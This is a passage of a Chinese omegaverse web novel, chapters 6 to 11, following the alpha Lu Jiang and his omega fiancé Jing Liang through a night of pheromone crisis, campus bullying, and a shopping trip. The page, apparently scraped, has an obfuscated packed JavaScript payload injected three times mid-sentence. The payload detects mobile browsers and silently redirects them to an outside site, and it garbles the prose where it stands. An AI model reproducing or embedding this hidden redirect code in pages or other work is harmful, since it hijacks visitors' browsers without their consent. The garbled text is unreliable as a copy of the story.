卢绛:“嗝……” 景凉又觉好笑又心疼的拍着他的后背,“再喝几口水。” 卢绛:“好,嗝……谢谢。” 6. 第6章 景凉有些好奇,他到底是不好意思和他呆在一起,还是不想和他呆在一起? 他这种反应叫人不得不在意。 卢绛犹豫了很久,看得出他一点儿也不想呆在这儿,身体还意念却早已奔出十万八千里了。 景凉:“你要是不想和我呆在一起,我去找周助凑合一晚。” 卢绛赶紧摆手:“啊不是,我只是怕你不方便。” 景凉:“没什么不方便的,我们……不是订婚了吗?” 卢绛表情无比严肃:“凉哥,我知道嗝……你跟我订婚也是迫不得己的,其实我也是!我们嗝……比较适合做兄弟。” “做兄弟?”景凉怔愣了好一会儿,不由失笑:“也行,那以后我就把你当弟弟看,你也别跟我见外。这里风大,回房间去吧。” “好。” 景凉心脏漏掉了一拍,他好乖! 两人又重新回到了房间。 景凉拿过手提电脑翻看着工作邮件,问他:“你现在还学习吗?” 卢绛摇头:“不了,白天差不多都弄完了,晚上就看看书。” 景凉看着他浅笑,真是个爱学习的小alpha,可爱! 晚上八点半,两人前后洗漱就准备休息了。 卢绛站在沙发边踌躇不前,似乎没打算和他一起睡床。 景凉径自躺下,拍拍还很宽敞的情侣床,笑道:“睡床吧,沙发太窄小了,你长这么高,睡着会难受。” “会不会……不太方便。”毕竟男男有别,他现在真的很介意! 景凉起身,笑说道:“那我睡沙发,你睡床,你是弟弟,做哥哥的应当让着弟弟。” 卢绛受宠若惊:“凉哥,你真的不用!” “好啦,不要再推托了,早点休息。”说着景凉已抱着毯子朝沙发走去。 他明明身体才刚刚好些,omega因发情的原故信息素紊乱,现在很虚弱,要是再感冒不是雪上加霜? 卢绛一把拉过景凉,似是下了某种很大的决心,说:“还是一起睡床吧!” 景凉挑眉:“你确定?我看你很为难的样子。” 卢绛:“我不是……也不是为难,是我,我可能比较别扭吧。” 景凉疑惑:“哪里别扭了?” 卢绛:“处理不好人和人之间的关系与距离,我不太确定那个边界感在哪里。” 太远了嫌冷淡,太近了嫌热情。 有时候他想亲近别人,可别人不一定如他所想,一个不小心就会弄得很尴尬。 景凉讶然,“你朋友不是很多吗?” 卢绛心脏差点跳出嗓子眼,“呃,都不是真心朋友来的。” 景凉若有所思地点点头:“也是,像你这样的身份和成长环境,是很难交到真心朋友。” “嗯。”卢绛惆怅轻应了声。 景凉拍拍他的臂膀,轻声安慰了句:“别想太多,上床睡觉吧。” 卢绛:“好。” 两人一起躺回了床上,偌大的情侣床,中间足足隔着三个人距离。 卢绛只开了台灯,倚在床头心无旁骛的看着书。 景凉处理完工作,合上了电脑,躺下拿过手机刷着今天的社会新闻。 可能是身边躺着一个半生不熟的alpha,还是他名义上的未婚夫,他有点在意,看了半天也不知道新闻在说什么。 不知不觉他的视线落在了卢绛身上。 卢绛后知后觉的发现景凉在看他,忐忑不安的问他:“是不是灯太亮了?要是你想睡了可以关灯的,我只是习惯性的看书,可以不看的。” 这个年纪的alpha是最容易冲动的年纪,可他居然看都不看一眼躺在一边的omega,那些晦涩的教科书难道会比他更好看?还是说,在他眼里真的一点魅力也没有? 这突如其来的挫败感,让景凉也有点措不及防。 他往卢绛身边靠近了一点,卢绛闻到了一股浓郁的Omega信息素味道,是麦麸又是一种很接近阳光的气味。 如果这个世界只按颜值排名,景凉一定是在前三,但身为omega他被这个世界诟病的东西太多。 比如omega的气味不该是麦麸这种寡淡型的,不会吸引alpha的注意。 比如omega不应该这么强势的,不应该管理公司还总是到处跑,和各种alpha结交。 又比如omega的身材应该要更娇小一点,才会讨alpha的喜欢,否则alpha没有掌控的安全感。 但对于卢绛来说,景凉身上的味道让他有一种很安心的感觉。 收养他的福利院条件很差,那个屋子又黑又潮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14735953|157317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 湿,一到梅雨天更是灾难,但是只要等太阳出来,就能晒被子晒衣服,收回来衣服和被子上有阳光的味道,很舒服又叫人贪恋。 景凉看着他时总是带着温和的笑容,连声音听起来都格外动人,“我睡得比较晚,现在睡不着,我们聊聊天?” 卢绛:“聊什么?” 景凉:“嗯……你喜欢什么类型的omega?” 卢绛想了很久,才认真的回答道:“我喜欢女孩子。” 景凉的心猛地刺痛了下,他承认确实有点喜欢眼前这个alpha,年轻俊美懂礼貌,还聪明好学有涵养,很难让人不动心,但也仅仅只是有点好感,应该没有表现得太明显吧? 从调查的资料上看,卢绛以前交往过的很多都是男omega,他现在这样说是在明确拒绝他吗? 景凉做了个深呼吸,强压下这股酸味,伸手摸摸他的头,“关灯睡觉吧,阿绛弟弟。” “嗯。”卢绛应声躺下,关掉了台灯。 本以为身边多了个人会睡不着,可闻着景凉身上信息素的气味,听着窗外的雨声,没一会儿便沉沉睡去。 反倒是景凉,辗转难寐。 好难受!从心理到生理上的,卢绛给的临时标记才管了几个小时的作用,这会儿又开始反复。 其实这么多年被信息素紊乱的折磨他差不多习惯了,可突然被alpha素信息安抚过后的那种轻松与舒适,才叫他此刻难以忍受。 这样下去不是办法…… 但是再忍忍吧,忍到天亮这种不适也差不多能平息下去。 好热啊,好像整个人被丢进火中炙烤,身体里又感觉有无数蚁群啃噬血肉。 搔不到的痒,止不了的疼。 意识恍惚中,景凉仿佛感受到了一股凉爽包裹着自己,好闻的雪松味儿缓解了身体的不适,他短暂睁开了眼,发现自己背靠在一个宽厚温暖的胸膛。 景凉下意识扭头看去,与卢绛的视线相交。 “我吵到你睡觉了?”景凉的声音很沙哑、虚弱,想到他明天还要去学校上课,难免歉疚。 好近,他们的鼻尖差点就碰到了一起,卢绛不着痕迹的往后靠了靠,声色带着懒倦的鼻音:“已经快天亮了。” “啊?”景凉惊诧:“快天亮了吗?我以为才过去两个多小时……” 7. 第7章 卢绛是被他的信息素给唤醒的,浓郁而压抑,发现他来第二次情潮时,他已经意识不清了,怎么也叫不醒。 所以下半夜卢绛一直就这么抱着他,给他信息素安抚。 卢绛又有点庆幸,一场大雨将他困在这里,不然这个人得有多难受? “你现在好点了吗?” “谢谢,好多了,幸亏有你在,不然……”不然怎样景凉也无法预料。 这几年为了公司,为了在这个社会上与alpha们竞争有限的资源,强效抑制剂用得太凶狠,之前一直没把医生的话放心上,只图眼前,现在他也算是遭报应了,自己糟践自己的报应。 “你到底……是什么情况?我也有在网上涉猎一些omega信息素紊乱的报道和新闻,但是你好像很严重。” “嗯,滥用强效抑制剂的结果。”景凉疲倦的抽了口气,抬起手臂压在额头上,闭了闭泛酸的眼睛。 卢绛一脸严肃,想说人应该多爱惜自己一点,但想想这种说出来不但没用,反而添堵。 景凉肩上的担子太重,逆水行舟不进则退,所以他不敢有丝毫松懈。 卢绛之前一直只把女性omega当柔弱的群体,从来没想过其实男性omega也是一样的。 “凉哥,我再给你补一下临时标记,等下我就得回学校了。” “行。”景凉配合的侧过身去,心情十分复杂。 卢绛有些僵硬的从背后抱他入怀,继续用自己的信息素安抚着他。 这个角度卢绛自然注意到了他后脖子的咬痕,昨天咬的,今天还有点红肿,应该会疼吧?“我之前咬的是不是太重了?”卢绛不由问他,“要是太疼,你可以踢我,不用忍着。” 景凉没想他会这么问,一颗水泥心瞬间融成了一汪春水,不由笑了笑,声色微哑:“不会,你已经很温柔了,绝大部分alpha是不会有这种疑惑的。” “哦……嗯。”卢绛心情莫明凝重。 他好像在自责?景凉轻叹了口气,一个alpha,天生的掠夺者,怎么心肠会软成这个样子?原来被人捧在手心里小心翼翼对待,会是这么委屈的感觉。 有了第一次的经验,卢绛已经不用再确定他的腺体位置,当鼻尖碰到他的后颈时,浓郁的omega信息素吸入肺里,心脏不受控制的疯狂跳动,仿佛血液都在倒流。 不管内心有多排斥,依旧会被这个世界的AO本能影响。 但卢绛并不想被信息素支配,他定了定神,张口准确无勿的往景凉的腺体咬了上去。 第二次标记比第一次更快,标记完成后,卢绛猛地翻身从书包里拿过一个黑色的铅笔袋走进了浴室。 锁上门,卢绛气息有些凌乱,从铅笔袋里拿出一小瓶药,他转念一想,又将药片放了回去,为了稳妥起见补了一支alpha抑制剂。 A与O发热的情况是有区别的,平时alpha不会轻易被omega的信息素影响,也不会主动发情。 而alpha的信息素却能使omega随时随地发情,只要他们愿意。 冲了个冷水脸,待身体的热度降下后,卢绛才推门走出了洗手间。 只见景凉正靠在床上等他,有些担忧:“你刚才怎么了?” 卢绛脸色窘迫,摸了摸后颈坦城道:“可能是我的易感期快到了,补了一支抑制剂。” 景凉:“可能?难道你的易感期是被我的信息素诱导提前了?” 卢绛显得有些没精神,随口应了句:“应该是。” 景凉:“怪我,我给你添了很多麻烦。” 卢绛见他开始自责,赶紧解释道:“不是因为你,我易感期本来就快到了,就算闻到别的omega信息素,也会这样的。” 其实并不会,穿过来一年,卢绛每次易感期都没什么感觉,准时服用alpha抑制药片,贴上阻隔贴很稳妥。 景凉只是笑笑,双眸很温柔地看着他也不说话。 卢绛被他看得有些不自在,只想着结束这个话题,说道:“凉哥,你接着睡吧,天还没有亮。” 景凉难掩的憔悴与病态,轻叹道:“不睡了,我想去洗澡,你能不能扶我过去?” “那我去给你放水,你躺进被子里吧,小心着凉。”说着卢绛转身又回了浴室, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14735954|157317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冲洗了一遍浴缸,才开始放水,自己顺便在盥洗台前进行了洗漱。 放好水,卢绛回房间扶他,虽然是omega,但还是一般男性的体重,为什么这个世界会有男O这么矛盾的性别? A的存在他稍微还能理解,不过是把普通男性掠夺的本能放大,这个世界的A极少会被信息素困扰,易感期随便找个O都能解决,只要他们高兴,就能标记无数个O。 最可怕的是,这种行为在这个世界是被认可的,他们觉得A本能就是如此,并且不会受到惩罚。 卢绛清楚的记得半年前一个新闻,一个O下班回家的路上,被拖进巷子侵害了。 网友都在谴责这个O怎么不戴好抑制颈环?为什么不喷阻隔喷雾?为什么周期将近不好好呆在家里要一个人出去乱走? Omega又创造不了什么社会价值,乖乖呆在家里生儿育女就好了! 最坏的情况是被侵害的O怀孕了也只能生下来,因为这个世界禁止打胎。 卢绛拿号说了句——【受害者有罪论应该遏制】。 之后他的号被举报到永久封禁。 果然他还是没办法融入这个世界,有时候会让他有一种强烈的割裂感和深深无力感。 将景凉扶到浴室,卢绛有些为难,“你自己可以吗?” 景凉:“谢谢,你去学校吧,我叫周助过来就行。” 卢绛考虑再三,“那,我等周助过来再走。”万一他摔在浴室,或洗到一半晕了过去,也是致命的! 毕竟他现在看起来真的很病弱苍白,仿佛整个人一碰就碎了。 景凉给周洲发了信息,没一会儿,周洲便赶了过来,看到卢绛还在,他摒着气冲他礼貌微笑,把空气净化器打开后,顺便又喷了好些阻隔喷雾。 卢绛尴尬僵住,看了眼景凉,背起书包匆匆道:“那凉哥,周助,我先走了,有事的话电话联系。” “好,卢少再见。”周洲见他一走,飞速把浴室门关上,替景凉脱下衣服,扶他躺进了浴缸里。 周洲一眼就瞄到了他后颈最新的咬痕,忍不住担心又想八卦,“你昨天,你们……” 8. 第8章 景凉放松的仰躺在浴缸里,合眼舒了口气,声音慵懒低哑,“昨晚我认了个弟弟。” 周洲懵了几秒:“什么弟弟?” 景凉:“他说,我们比较适合做兄弟。”说到这里,景凉都忍不住笑了。 周洲瞪着眼不敢置信:“这是从一个alpha嘴里说出来的?” 景凉:“离谱?” 周洲:“不离谱吗?!” 景凉失笑,语气不自觉带了几分宠爱:“是很单纯很孩子气。” 周洲:“你这都信?他根本明着就是在耍你啊!都订婚了,一个A一个O,做兄弟?我祖奶听了都能从棺材里笑活过来。” 景凉情热过后,此时思绪已清醒了许多,“真是作戏的话,演技会不会太好了点?” 周洲:“那他很有天赋啊!” 景凉:“嗯……他没碰我。” 周洲:“欲擒故纵呗。” 一想到他真挚的双眸,喜欢脸红,还有温柔说话的模样,景凉很想赌一把。 景凉轻叹:“确实像演的。” 周洲:“嗯嗯!” 景凉怅然:“他太好了,不像真的,只有电视剧里演出来的,才会是这样子。” 周洲心头一惊,“阿凉你清醒一点!别被他表面给骗了!一个人混帐了十八年,不可能一朝就变好,不要有侥幸心理。” 景凉往脸上掬了捧水,“我有分寸的,放心吧。” 周洲说得对,当局者迷,旁观者清。 他也赌不起,万一赌输了,便是万劫不复。 周洲突然想到什么,说道:“桃源布厂那边的人昨晚有联系我,态度十分积极,应该是很想谈成这次合作,给出的成本价也低于之前合作的厂家。” 景凉:“那就约个时间出来谈谈。” 周洲:“你现在是什么情况?能出去谈工作吗?” 景凉:“没什么问题了。” 周洲轻应了声,那个alpha留在他身上气味很浓,又给了两次临时标记,要不是他喷了阻隔剂过来,依旧会受影响。 “之前你看过卢绛的资料吗?他的信息素在档案上填的是E级,可是他发散出来的等级绝对不是!” 景凉若有所思:“他信息素的等级应该是S级,或者更高。” “什么?”周洲瞪大了双眼不敢置信:“S+信息素?全国也没有几个吧?” 景凉面色凝重:“嗯,太奇怪了,他有什么理由隐瞒自己信息素等级?” 周洲:“我总觉得这位卢少很反常,但又说不上哪儿不对劲。” “有机会再试探他一下。” 景凉拿过一旁的浴巾,从浴缸起身,身体机能现在恢复得差不多了,之前的脆弱已全然消失,取而代之的是多年在商场拼杀的凌厉与冷酷。 * 卢绛在学校一整天都感觉不自在。 走哪哪都被人盯,他一回头这些人又状若无事的收回了视线。 经过几个beta和omega身边时,他听到了他们在低声议论着他。 “真的是他?” “错不了,就是这个学弟,我当时坐他身后。” “长得还不错,个子很高呀!” “他宿舍是在F区,谁不知道F区的alpha是等级最低的那一挂?” “所以说他有omega极大可能是骗人的?” “怎么这样啊?如果真是骗人,那挺败好感的。现在学校好多omega可是很支持他呢!” …… 卢绛紧了紧书包带子,埋头加快了步子走出了教学楼。 晚饭也不想去食堂了,他不想被人盯。 卢绛去了学校附近的超市,买了几个面包和牛奶往宿舍楼走。 经过楼下时,一只还燃着的烟蒂落在了他的左肩上,衣服很快烫出了一个小洞,他慌忙的将身上的烟蒂拍掉,仰头看去。 只见走廊上站着几个alpha笑容恶劣的打量他,朝他挥手打招呼。 “抱歉啦学弟,不是故意的!” “他好像生气了,会不会跑上来揍你啊?” “低级alpha,我会怕他?” 卢绛盯着地上燃着的烟蒂好一会儿,用鞋底踩熄,拿出一张纸巾包了起来。 “哈哈哈哈……瞧他那怂样!” “不对,他真的上来了!” 卢绛眼神冷冽大步朝那几个戏弄他的家伙们走去。 因为身高体型占优势,当阴影笼下,无形的压迫感让他们摒住了呼吸。 “烟蒂,谁扔的?” 其中一剪平头的alpha一脸蛮横走了出来 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只是被人戳穿了丢人而己。 此时宿舍讨论热火朝天的。 “我喜欢第七名,一看就知道他的信息素很香甜!” “嘻嘻,我还是喜欢第五名那个,很野很性感!” “这种妖艳贱货得哪个A才能镇得住?我可不想头上一片青青草原。” “第一名太可爱了吧?简直是梦中情O。” “搞不懂第十名是怎么上全国美O排名的。” “他长得很漂亮啊!比前几名都漂亮!” “漂亮是漂亮,一看就是冷酷无情,信息素能杀人的,对着他能起立吗?” “你不喜欢而己,各花入各眼嘛。” “这种O谁会喜欢啊?欸~你让卢绛选,卢绛,全国美O前十,你选哪个?” 卢绛:“……” 迎着三个室友热切的视线,卢绛心想就当是拉近室友关系随便指一个。 卢绛走了过去,看了眼国内最热论坛的美O排行榜,他在这个榜上看到了自己的未婚夫——景凉。 他伸手点了第十名,“他。” 9. 第9章 之前说十号漂亮的男生用力拍拍他的肩膀,找到了认同感,“哥们,你很有眼光!真正强大的Alpha,就是要喜欢有钢铁般意志的omega。” 另外两个翻了个白眼。 “你们真是不懂欣赏O!” “这么强势的O送给我,我都不要,会不会被家暴啊?” …… 卢绛一阵无语,虽然他很不喜欢‘普信男’这个很具冒犯的名词,但是他现在好像懂了‘普信男’为什么会被嘲。 他们为什么会对着一个排名这么真情实感的选妃啊? 跟这些人交流好像有壁,他不理解并大为惊震。 交朋友这种事好难,好在自己一直是一个人,也早已习惯。 前世在孤儿院里虽然有交过一些朋友,但都是各怀心思的想从资助人那里获得更多资源,各种明争暗斗的,甚至为了争抢收养机会,他曾被最信任的朋友陷害。 相熟的人一路边走边散,渐行渐远。 这段时间充份了解这个新世界后,卢绛已经不执著于找同类,他想给自己找点事做。 他之前所在的世界电商很发达,那块大蛋糕已经被瓜分得所剩无几,而在这个平行世界,电商这块大蛋糕还没有被开发,他打算先写个策划案,试着做一做。 卢绛是行动派,想到什么在脑子里过一遍这件事的可行性,评估完就开始动手做。 于是接下来的时间,除了上课,一般他都在图书馆查资料,很晚才会回寝室睡觉。 两个月前他还投了三百万买了几支股票,用自己的一套数据推算方式,炒了一段时间短线,感觉盯盘太累了,有好几次因为上课错过最佳卖出时机,就选择开始做长线。 经过实践得出经验,没有加杠杆,操作水平有限,股票盈利一个月现在维持在三四万左右。 两个长线股虽涨势缓慢,但是一直在涨,盈利的钱比他以前打工两三年都赚得多,卢绛已经很满意了,只要手中的财富是持续增涨的就行,不管多少。 离上课还有十分钟,卢绛如往常般走进教室,将书包挂上,他往课桌里拿书,却摸出一张请贴。 卢绛打开请贴看了眼。 邀请人:苏琪。 聚会时间:10.22晚上19.00。(明天) 聚会地点:蓝河俱乐部顶楼。 卢绛看完随手放进了课桌里,没当一回事。 教室里大家都在热烈的讨论着什么,卢绛无意听了一耳。 “南城苏家知道吗?苏大小姐过生辰,不知道这次谁收到了邀请贴?” “能收到邀请贴的,怎么也得是学校风云人物吧?” “我知道计算机系的系草霍临有收到。” “就是那个计算机系的天才?还没毕业呢,好多家上市科技公司争抢要的那个?” “是啊,就是他!不然还能有第二个霍临?” “羡慕想去,霍临真的好帅啊!想和系草贴贴。” …… 卢绛心下一喜,这不巧了吗?他正愁要怎么找计算机系的学长交流,做一个社交软件,机会这就来了。 卢绛现在又开始烦恼女生过生日,要送什么礼物好呢? 突然一条新消息弹了出来,是景凉发来的。 【景凉:明天晚上有空吗?】 【卢绛:没,要参加一个生日宴,有想见的人。】 许久,景凉没再回消息,此时老师走进了教室,卢绛将手机静音,开始上课。 正午去学校食堂,卢绛才看到景凉一个小时前回了一条信息。 【景凉:看来是很重要的生日宴,礼物挑好了吗?】 【卢绛:狗头叹气.jpg没,不知道送什么好。】 【景凉:是送女孩子?】 【卢绛:嗯。】 【景凉:要不今晚一起去商场逛逛,我可以给你建议。】 【卢绛:会不会耽误你工作?】 【景凉:不会,今天一整天都在酒店休息,明天晚上才需要去见客户。】 【卢绛:那我下了课联系你,谢谢凉哥。】 【景凉:不用客气。摸摸小狗头.gif】 * 下午四点半下了课,卢绛没回寝室,直接给景凉打了一个电话。 其实他不太喜欢跟人打电话,总觉得没什么话题可聊,景凉很快接了,卢绛的心脏骤停了下。 “凉,凉哥你好,我下课了,现在要去你那里,还是……怎 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他整个人看起来白净、精致又贵气,往那儿一站,便吸引了所有人注目。 他似乎早已习惯这样的注目礼,自若从容。 “凉哥,我在这儿。” 听到卢绛的声音,景凉猛地回头,一眼便看到了他,如玉的脸上展露出温存的笑意朝他走去。 为了能快点见到卢绛,提前了十几分钟出门在路上才给卢绛打电话。 现在景凉也无法确定,是不是真的受到临时标记的影响,无法自控的想要靠近他、拥抱他。 卢绛下意识问了句:“周助没来吗?”他想,景凉这个身体情况,身边要跟着一个人更稳妥些。 景凉怔愣了下,笑容略显僵硬反问了句:“他来干什么?” 卢绛:“呃……” 景凉:“他没来,就我们俩。” 卢绛莫明有点不安,他是不是说错话了?要命,他完全不知道错的点在哪? 好难啊!跟人相处为什么这么难?他真的好废! 卢绛鼓起腮帮子悄悄舒了口气。 10. 第10章 这小动作刚好被景凉看到,他语气故作轻松地笑问道:“跟我在一起,让你很不自在?” 卢绛反应有点过激,怕他误会什么,“不是!是我……我自己的问题。” 景凉:“社恐啊?” 卢绛挠头:“啊……一点点,吧?” 虽然换了一个身份,但过去的十八年成长环境和经历的种种,依旧如影随行。 景凉暗叹了口气,未成年就跟人泡酒吧飙车滥情的社恐?这人设凹得有点硬。 稳住,他要相信自己的直觉,再了解一下。 景凉浅笑不着痕迹地转移了话题:“先找个地方吃饭,想吃什么?” 卢绛:“我都可以。” 景凉:“去吃一片海?” 一片海?那是什么??卢绛迷茫地点点头,跟景凉身后走。 当看到圆形餐桌上一整桌的拼盘海鲜时,卢绛才明白什么叫‘吃一片海’。 他对海鲜并不陌生,在原来世界所在的孤儿院就是南方靠海的小镇,院里开支有限,所以他和院里的小朋友经常去赶海,捡了能卖钱,卖不掉剩下的就留着自己吃。 卢绛静默地用着餐,抬头间却见景凉并没有怎么动,不由疑惑问道:“凉哥,你怎么不吃?” 虽然海鲜壳多肉少,但这一大桌也得努力吃才行! 景凉幽怨的小声说了句:“被虾刺了一下,难剥,你吃你的,不用管我。” 看来是真被那只虾刺疼了,都吃出了小脾气。 卢绛没说话,径自换了一双手套,手法利落的两三下就剥好了一只虾。 这手法把景凉看呆了,没想到卢大少还有这技能呢! 卢绛剥了也不吃,只是放旁边的盘子里,没一会儿,盘子都要装满了。 景凉有些期待问了句:“你怎么剥了不吃?” 卢绛将满满一盘子虾肉推到他面前,“你吃。” 景凉脸上难掩的惊喜:“给我剥的?” 卢绛:“你还想吃什么跟我说,我剥得很快。”小小得意。 景凉表面不显,心里美滋滋的,一点也不客气:“那你再给我剥两个螃蟹?” 卢绛:“好。” 景凉看得叹为观止,他十指修长灵巧,工具运用自如,剥出来的蟹肉和蟹黄在盘子里摆放分明,仿佛格外鲜美好看。 一只蟹里面的肉是半点儿也没浪费,剥得干干净净。 景凉:“你这是吃了多少海鲜才练出这样的手法?” 卢绛但笑不语。 真的吃了好多,小时候有时连饭都吃不饱,但是海鲜管饱。 景凉因他这个笑心脏漏掉了一拍,这种不明显的帅才致命。 清清爽爽,干干净净,像个小太阳。 怎么办?他好心动啊! 景凉暗自做了个深呼吸,有意的各种指使,但卢绛从始至终都很有耐性,情绪稳定,不厌其烦的听他指使给他弄这弄那。 末了,景凉肚子里再也撑不下,才说道:“吃不下了,你自己吃吧。” “嗯。”卢绛这才自己吃。 景凉悄悄打量着他,一点不满的迹象都没有。 他似是有些不好意思笑道:“我是不是很麻烦?会不会你以后都不想和我一起出来吃饭了?” 卢绛:“我没什么优点,剥海鲜是优点之一,应该……也算优点吧?(自说自话)” “噗……”景凉扶额没忍住笑出声,“老天,你怎么那么可爱!” 卢绛囧红了一张脸,果然,他看起来有点蠢。 晚饭吃了一个小时才结束,走到收银台,卢绛抢着说:“我来买单!” 景凉:“为什么你买单?” 卢绛被问住,不好意思说,因为这个朋友他很想交啊! 感觉他们虽然还不太熟,但是相处很融洽,这对他来说太难得了。 卢绛只是又固执的强调了一次:“我来买单。” 景凉强忍住笑意:“好好好,你买单,我不跟你抢。”小朋友行为! 两人漫无目的瞎逛了半小时,卢绛看了眼时间,18.33还早着。 “不买衣服吗?”景凉看了眼他身上洗得有点起毛和泛白的衣服,总感觉与他的身份格格不入。 要知道这个年纪的小男孩是最爱打扮的,要多张扬有多张扬,想要吸引所有人的目光,成为焦点。 卢绛突然想到:“明天去参加日生宴,我是不是该买一套像样的衣服?” 景凉:“宴会很盛大?” 卢绛:“应该……吧?” 景凉:“那女孩子是什么来头?” 卢绛:“南城苏家。”他只知道这么多。 景凉 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衣服是他给卢绛搭配的,里面是一件儿深灰色修身毛衣,宝蓝色灯芯绒及膝外套;黑色休闲牛仔裤,高帮小皮靴。 宝蓝色很挑人,穿得不好就显土,但卢绛这身形和干净清爽的气质,穿什么都会好看的。 “凉哥?” 景凉暗抽了口气,压下心口的澎湃,缓缓起身上前,抬手给他理了下额头的留海。 这留海太碍眼了,给人厚重愚笨的感觉。 “怎么想要留这么长的留海?不太适合你。” “我……学习太忙,懒得剪了。” 学习忙是借口,卢绛只是不太想引人注目,做个透明人就好。 景凉离得好近,他的信息素溢出来了。 卢绛喜欢这个气味,于他而言是幸福温暖,太阳驱逐朝湿与黑暗的气味。 “忙到连剪头发都没时间?”景凉说着,问柜姐要了小剪刀,替他将背后的吊牌剪了。 “这套好看?”卢绛见他剪了吊牌,依旧不确定。 景凉失笑,抬手揉乱了他的头发,满是宠溺:“好看,哥哥买单送你。” 11. 第11章 卢绛慌忙从钱包拿卡,但是景凉早已准备好将卡递给了收银员。 景凉:“你请我吃饭,我送你一套衣服,礼尚往来。” 试衣服时卢绛看了吊牌,最贵的那件外套,两万六!都够请他吃好多次饭了。 “就这么穿着吧,旧衣服打包。”景凉满意的看了眼卢绛这一身装扮,特别帅。 几个柜姐兴奋的站在一旁看着他俩,跟见着什么明星似的。 其中有个omega上前小声问了句:“两位是情侣吧?这样穿搭看起来就是情侣装了,两位真的好般配。” 景凉故作惊诧,看了眼卢绛又低头看了眼自己的衣着,笑问:“是吗?我全凭自己偏好给弟弟挑的。” 卢绛完全没有往这上面想,他们这么一提便下意往镜子里看了一眼,哪里像情侣装了? “不是情侣装,只是撞色而己。” 卢绛这么一说,几个柜姐便不敢再随便打趣了,只是星星眼一直目送着他们离开店里。 景凉慢他一步半的距离,回想刚才在店里他强硬的说只是撞色的模样,好像是有一点不高兴。 脾气确实好,但是不能碰他的敏感线? “你要是不喜欢,去洗手间把衣服换下来吧,我在外面等你。”景凉伸手拉往了他。 卢绛怔愣了下,解释道:“我没有不喜欢。” 景凉:“真的?” 卢绛:“嗯,没有不喜欢,你眼光很好。” 景凉:“但是你看起来有点不高兴。” 卢绛确实有点不高兴,他真的很喜欢景凉,和他在一起是从未有过的舒适愉快。 但是他们的喜欢好像不一样。 他知道自己是一个不太能分清楚暧昧边界感的人。 如果景凉误会了什么,一定是他的问题,一定是他哪里做了什么让他误会的行为举止。 他不想消耗景凉的感情,也非常讨厌自己认不清的边界感。 卢绛:“对不起,凉哥,我想回去了。” 景凉心口狠狠刺痛了下,差点红了眼睛,“说我们是情侣,就这么让你不能忍受?” 卢绛:“对不起,是我的问题,跟你没关系。” 景凉:“你到底什么毛病?” 两人僵持在原地,漫长的沉默死寂。 卢绛一副快哭的模样,让景凉烦躁的心情瞬速冷却平静,他伸手揉了下他的脸,说道:“管别人怎么说?你自己怎么想怎么做,才是最重要的。” 景凉咽了咽喉间的酸涩:“我不知道怎么做,才对。” 景凉:“这个世界上哪有什么绝对的对与错?立场不同,对错就不同,你无愧于心就好。” 没有人教过他这些,精神病院里的医生也只会每天问他同一个问题——【你还有在幻想你的养父摸你吗?】 卢绛脸色煞白,胃里一阵翻涌,来不及和景凉说什么,直奔向洗手间,吐了个昏天暗地。 其实他已经很久没有想起过去那些事了,突然想起来,还是很恶心。 卢绛用力漱了漱口,洗了把脸很快冷静了下来,额前的头发打湿了,一绺一绺的往下滴着水珠。 他深吸了口气,将额前的头发往脑后捊,露出挺阔饱满的额头及浓黑英气的眉毛。 似是泄愤般,他一拳狠狠砸在盥洗台上,双眼透着坚韧与不屈,他看着镜中的自己,心如火炙。 若是噩梦遗忘,他只当是无事发生,将自己缩进龟壳得过且过。 可若是噩梦再起,他绝不会退让半步,若是敌不过黑暗,哪怕最终被吞噬,他也要站着,挺直背脊。 调整好心情,卢绛扯过纸巾将脸上的水珠擦干,走出了洗手间。 他一抬头,便看到景凉正倚着走廊的白瓷墙,一脸凝重等他出来。 “凉哥。” 景凉站直身子,快步迎了上去,“你是哪里不舒服?去医院吗?” 卢绛摇头:“只是胃有一点不舒服。” 景凉:“怪我,非带你吃那么多海鲜。” 卢绛笑道:“海鲜,好吃的。” 景凉见他笑了,也不由跟着笑,突然发现他额头的留海被打湿了捊向了脑后,他深邃立体的五官给人的视觉冲击感,完美得惊心动魄。 景凉只觉全身有点发烫口干舌燥,不自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14735958|157317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在的收回了视线,径自往前走去:“不是还要去挑礼物吗?走吧,我们去手饰珠宝区。” “哦……好。”卢绛默默跟在了他身后。 挑了好半天,卢绛挑了一条白金镶着小钻的手链,特别闪,皮肤白的人戴上一定很好看。 景凉心中有些泛酸,那位苏小姐,一定长得很漂亮,才会让他这么用心挑礼物。 精心挑完手链,卢绛又随便拿了一个钻石发夹,让店员包起来。 送两份?就这么喜欢吗? 试探了一晚上,景凉的心差不多也死了,甚至觉得自己的这些小动作很可笑。 